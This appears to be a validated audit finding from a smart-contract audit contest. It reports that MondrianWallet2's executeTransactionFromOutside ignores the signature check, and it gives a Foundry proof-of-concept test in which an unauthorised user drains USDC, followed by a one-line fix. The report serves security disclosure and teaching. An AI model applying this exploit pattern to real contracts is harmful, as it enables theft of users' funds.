Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Unchecked transaction validation in `MondrianWallet2::executeTransactionFromOutside` allows any user to execute transaction

Summary

The MondrianWallet2::_validateTransaction function correctly verifies whether the signer of a transaction is the owner of the contract. However this validation result is not utilized in the MondrianWallet2::excuteTransactionFromOutside function, thereby allowing any user to execute transactions.

This oversight in validation exposes the contract to significant exploitation risks, enabling malicious users to potentially drain funds or execute unauthorized operation.

Vulnerability Details

  1. Mint USDC on the mondrianWallet proxy contract

  2. Create an approval transaction for the minted USDC amount, signed with a malicious user's private key.

  3. Execute this transaction to update the nonce of mondrianWallet.

  4. Craft the transferFrom transaction and sign it with the malicious user private key

  5. Execute the transferFrom transaction to transfer USDC tokens to the malicious user's account.

Proof of Code

Integrate a random user account into the test suite in ModrianWallet2Test.t.sol:

contract MondrianWallet2Test is Test, ZkSyncChainChecker {
address constant RANDOM_USER_ACCOUNT = 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720;
...
  • Note: This is an Anvil Account*

Add the following helper function for signing transactions with the random user's private key in tes test suite:

function _signTransactionWithRandomUser(
Transaction memory transaction
) internal view returns (Transaction memory) {
bytes32 unsignedTransactionHash = MemoryTransactionHelper.encodeHash(
transaction
);
uint8 v;
bytes32 r;
bytes32 s;
// Private Key associated with the Public Key of RANDOM_USER_ACCOUNT
uint256 randomUserPrivateKey = 0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6;
(v, r, s) = vm.sign(randomUserPrivateKey, unsignedTransactionHash);
Transaction memory signedTransaction = transaction;
signedTransaction.signature = abi.encodePacked(r, s, v);
return signedTransaction;
}

Add the following function in the test suite:

function testRandomUserCanExecuteCommandsFromOutside() public {
// Arrange - Global
address dest = address(usdc);
uint256 value = 0;
// Arrange - Mondrian Wallet Execution
bytes memory functionDataOwner = abi.encodeWithSelector(
ERC20Mock.mint.selector,
address(mondrianWallet),
AMOUNT
);
Transaction memory transactionOwner = _createUnsignedTransaction(
mondrianWallet.owner(),
113,
dest,
value,
functionDataOwner
);
vm.prank(mondrianWallet.owner());
mondrianWallet.executeTransaction(
EMPTY_BYTES32,
EMPTY_BYTES32,
transactionOwner
);
assertEq(usdc.balanceOf(address(mondrianWallet)), AMOUNT);
assertEq(usdc.balanceOf(RANDOM_USER_ACCOUNT), 0);
// Arrange - Approval
bytes memory functionDataApprove = abi.encodeWithSelector(
ERC20.approve.selector,
address(mondrianWallet),
AMOUNT
);
Transaction memory transactionApproval = _createUnsignedTransaction(
RANDOM_USER_ACCOUNT,
113,
dest,
value,
functionDataApprove
);
transactionApproval = _signTransactionWithRandomUser(
transactionApproval
);
// Act
vm.prank(RANDOM_USER_ACCOUNT);
mondrianWallet.executeTransactionFromOutside(transactionApproval);
// Arrange - Transfer From
bytes memory functionDataTransferFrom = abi.encodeWithSelector(
ERC20.transferFrom.selector,
address(mondrianWallet),
RANDOM_USER_ACCOUNT,
AMOUNT
);
Transaction memory transactionTransferFrom = _createUnsignedTransaction(
RANDOM_USER_ACCOUNT,
113,
dest,
value,
functionDataTransferFrom
);
transactionTransferFrom = _signTransactionWithRandomUser(
transactionTransferFrom
);
vm.prank(RANDOM_USER_ACCOUNT);
mondrianWallet.executeTransactionFromOutside(transactionTransferFrom);
// Assert
assertEq(usdc.balanceOf(RANDOM_USER_ACCOUNT), AMOUNT);
}

Impact

Exploitation of this vulnerability could lead to complete depletion of the contract's funds.

Tools Used

Manual review

Recommendations

Implement the following changes in MondrianWallet2::executeTransactionFromOutside to mitigate this vulnerability:

function executeTransactionFromOutside(
Transaction memory _transaction
) external payable {
- _validateTransaction(_transaction);
+ bytes4 magic = _validateTransaction(_transaction);
+ if (magic != ACCOUNT_VALIDATION_SUCCESS_MAGIC) {
+ revert MondrianWallet2__InvalidSignature(); // This error was previously not utilized
+ }
_executeTransaction(_transaction);
}
Updates

Lead Judging Commences

bube Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing validation in executeTransactionFromOutside

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.